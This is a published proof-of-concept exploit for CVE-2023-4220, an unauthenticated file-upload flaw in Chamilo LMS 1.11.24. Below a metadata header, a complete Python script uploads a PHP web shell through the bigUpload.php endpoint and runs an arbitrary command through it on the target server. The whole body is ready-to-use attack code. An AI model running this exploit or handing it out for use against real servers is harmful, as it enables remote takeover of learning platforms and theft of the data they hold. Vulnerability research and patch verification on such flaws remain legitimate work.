Chamilo LMS 1.11.24 – Remote Code Execution (RCE)
# Exploit Title: Chamilo LMS 1.11.24 - Remote Code Execution (RCE) # Exploit Author: 0x00-null - Mohamed Kamel BOUZEKRIA # Exploit Date: September 3, 2024 # Vendor Homepage: https://chamilo.org/ # Software Link: https://chamilo.org/ # Version: 1.11.24 (Beersel) # Tested Versions: 1.11.24 (Beersel) - August 31, 2023 # CVE ID: CVE-2023-4220 # Vulnerability Type: Remote Code Execution # Description: Unauthenticated remote code execution in Chamilo LMS <= 1.11.24 due to an unrestricted file upload vulnerability. # Proof of Concept: Yes # Categories: Web Application, Remote Code Execution, File Upload # CVSS Score: 8.1 (High) # CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H # Notes: Ensure that the /main/inc/lib/javascript/bigupload/files/ directory exists and is writable. # License: MIT License # References: # - CVE Details: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-4220 # - Exploit Documentation: https://github.com/0x00-null/Chamilo-CVE-2023-4220-RCE-Exploit # - Vendor Advisory: https://chamilo.org/ import requests import argparse from urllib.parse import urljoin def upload_shell(target_url, payload_name): upload_url = urljoin(target_url, "main/inc/lib/javascript/bigupload/inc/bigUpload.php?action=post-unsupported") shell_path = f"/main/inc/lib/javascript/bigupload/files/{payload_name}" shell_url = urljoin(target_url, shell_path) # Payload containing the PHP web shell files = {'bigUploadFile': (payload_name, '<?php system($_GET["cmd"]); ?>', 'application/x-php')} # Upload the payload response = requests.post(upload_url, files=files) if response.status_code == 200: print("[+] File uploaded successfully!") print(f"[+] Access the shell at: {shell_url}?cmd=") else: print("[-] File upload failed.") def execute_command(shell_url, cmd): # Execute the command response = requests.get(f"{shell_url}?cmd={cmd}") if response.status_code == 200: print(f"[+] Command Output:\n{response.text}") else: print(f"[-] Failed to execute command at {shell_url}") if __name__ == "__main__": # Parse command-line arguments parser = argparse.ArgumentParser(description="CVE-2023-4220 Chamilo LMS Unauthenticated File Upload RCE Exploit") parser.add_argument('target_url', help="The target base URL of the Chamilo LMS instance (e.g., http://example.com/)") parser.add_argument('cmd', help="The command to execute on the remote server") parser.add_argument('--shell', default='rce.php', help="The name of the shell file to be uploaded (default: rce.php)") args = parser.parse_args() # Run the exploit with the provided arguments upload_shell(args.target_url, args.shell) # Form the shell URL to execute commands shell_url = urljoin(args.target_url, f"main/inc/lib/javascript/bigupload/files/{args.shell}") execute_command(shell_url, args.cmd) |